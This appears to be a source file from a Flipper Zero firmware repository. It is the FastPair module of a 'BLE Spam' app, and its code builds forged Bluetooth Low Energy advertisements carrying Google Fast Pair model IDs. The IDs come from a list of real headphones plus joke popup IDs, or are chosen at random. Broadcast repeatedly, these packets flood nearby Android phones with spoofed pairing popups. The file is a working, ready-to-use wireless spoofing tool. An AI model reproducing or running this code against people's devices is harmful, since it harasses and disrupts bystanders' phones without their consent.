Files
Momentum-Firmware/applications/external/ble_spam/protocols/fastpair.c
Willy-JL 857b881554 BLE Spam add 7 more FastPair models
Thanks @DiamondRoPlayz and @xAstroBoy !
2023-10-21 02:43:02 +01:00

238 lines
7.3 KiB
C

#include "fastpair.h"
#include "_protocols.h"
// Hacked together by @Willy-JL and @Spooks4576
// Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
const struct {
uint32_t id;
const char* name;
} models[] = {
// Genuine devices
{0xCD8256, "Bose NC 700"},
{0xF52494, "JBL Buds Pro"},
{0x718FA4, "JBL Live 300TWS"},
{0x821F66, "JBL Flip 6"},
{0x92BBBD, "Pixel Buds"},
{0xD446A7, "Sony XM5"},
{0x2D7A23, "Sony WF-1000XM4"},
{0x0E30C3, "Razer Hammerhead TWS"},
{0x72EF8D, "Razer Hammerhead TWS X"},
{0x72FB00, "Soundcore Spirit Pro GVA"},
// Custom debug popups
{0xD99CA1, "Flipper Zero"},
{0x77FF67, "Free Robux"},
{0xAA187F, "Free VBucks"},
{0xDCE9EA, "Rickroll"},
{0x87B25F, "Animated Rickroll"},
{0xF38C02, "Boykisser"},
{0x1448C9, "BLM"},
{0xD5AB33, "Xtreme"},
{0x0C0B67, "Xtreme Cta"},
{0x13B39D, "Talking Sasquach"},
{0xAA1FE1, "ClownMaster"},
{0x7C6CDB, "Obama"},
{0x005EF9, "Ryanair"},
{0xE2106F, "FBI"},
{0xB37A62, "Tesla"},
};
const uint8_t models_count = COUNT_OF(models);
static const char* fastpair_get_name(const ProtocolCfg* _cfg) {
const FastpairCfg* cfg = &_cfg->fastpair;
UNUSED(cfg);
return "FastPair";
}
static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) {
const FastpairCfg* cfg = _cfg ? &_cfg->fastpair : NULL;
uint32_t model_id;
if(cfg && cfg->model_id != 0x000000) {
model_id = cfg->model_id;
} else {
model_id = models[rand() % models_count].id;
}
uint8_t size = 14;
uint8_t* packet = malloc(size);
uint8_t i = 0;
packet[i++] = 3; // Size
packet[i++] = 0x03; // AD Type (Service UUID List)
packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
packet[i++] = 0xFE; // ...
packet[i++] = 6; // Size
packet[i++] = 0x16; // AD Type (Service Data)
packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
packet[i++] = 0xFE; // ...
packet[i++] = (model_id >> 0x10) & 0xFF; // Model ID
packet[i++] = (model_id >> 0x08) & 0xFF; // ...
packet[i++] = (model_id >> 0x00) & 0xFF; // ...
packet[i++] = 2; // Size
packet[i++] = 0x0A; // AD Type (Tx Power Level)
packet[i++] = (rand() % 120) - 100; // -100 to +20 dBm
*_size = size;
*_packet = packet;
}
enum {
_ConfigExtraStart = ConfigExtraStart,
ConfigModelId,
};
static void config_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
switch(index) {
case ConfigModelId:
scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelId);
default:
break;
}
}
static void model_id_changed(VariableItem* item) {
FastpairCfg* cfg = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
if(index) {
index--;
cfg->model_id = models[index].id;
variable_item_set_current_value_text(item, models[index].name);
} else {
cfg->model_id = 0x000000;
variable_item_set_current_value_text(item, "Random");
}
}
static void fastpair_extra_config(Ctx* ctx) {
FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
VariableItemList* list = ctx->variable_item_list;
VariableItem* item;
size_t value_index;
item = variable_item_list_add(list, "Model ID", models_count + 1, model_id_changed, cfg);
const char* model_name = NULL;
char model_name_buf[9];
if(cfg->model_id == 0x000000) {
model_name = "Random";
value_index = 0;
} else {
for(uint8_t i = 0; i < models_count; i++) {
if(cfg->model_id == models[i].id) {
model_name = models[i].name;
value_index = i + 1;
break;
}
}
if(!model_name) {
snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->model_id);
model_name = model_name_buf;
value_index = models_count + 1;
}
}
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, model_name);
variable_item_list_add(list, "Requires Google services", 0, NULL, NULL);
variable_item_list_set_enter_callback(list, config_callback, ctx);
}
const Protocol protocol_fastpair = {
.icon = &I_android,
.get_name = fastpair_get_name,
.make_packet = fastpair_make_packet,
.extra_config = fastpair_extra_config,
};
static void model_id_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
switch(index) {
case 0:
cfg->model_id = 0x000000;
scene_manager_previous_scene(ctx->scene_manager);
break;
case models_count + 1:
scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelIdCustom);
break;
default:
cfg->model_id = models[index - 1].id;
scene_manager_previous_scene(ctx->scene_manager);
break;
}
}
void scene_fastpair_model_id_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
Submenu* submenu = ctx->submenu;
uint32_t selected = 0;
bool found = false;
submenu_reset(submenu);
submenu_add_item(submenu, "Random", 0, model_id_callback, ctx);
if(cfg->model_id == 0x000000) {
found = true;
selected = 0;
}
for(uint8_t i = 0; i < models_count; i++) {
submenu_add_item(submenu, models[i].name, i + 1, model_id_callback, ctx);
if(!found && cfg->model_id == models[i].id) {
found = true;
selected = i + 1;
}
}
submenu_add_item(submenu, "Custom", models_count + 1, model_id_callback, ctx);
if(!found) {
found = true;
selected = models_count + 1;
}
submenu_set_selected_item(submenu, selected);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
}
bool scene_fastpair_model_id_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_fastpair_model_id_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void model_id_custom_callback(void* _ctx) {
Ctx* ctx = _ctx;
scene_manager_previous_scene(ctx->scene_manager);
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_fastpair_model_id_custom_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
ByteInput* byte_input = ctx->byte_input;
byte_input_set_header_text(byte_input, "Enter custom Model ID");
ctx->byte_store[0] = (cfg->model_id >> 0x10) & 0xFF;
ctx->byte_store[1] = (cfg->model_id >> 0x08) & 0xFF;
ctx->byte_store[2] = (cfg->model_id >> 0x00) & 0xFF;
byte_input_set_result_callback(
byte_input, model_id_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_fastpair_model_id_custom_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_fastpair_model_id_custom_on_exit(void* _ctx) {
Ctx* ctx = _ctx;
FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
cfg->model_id =
(ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
}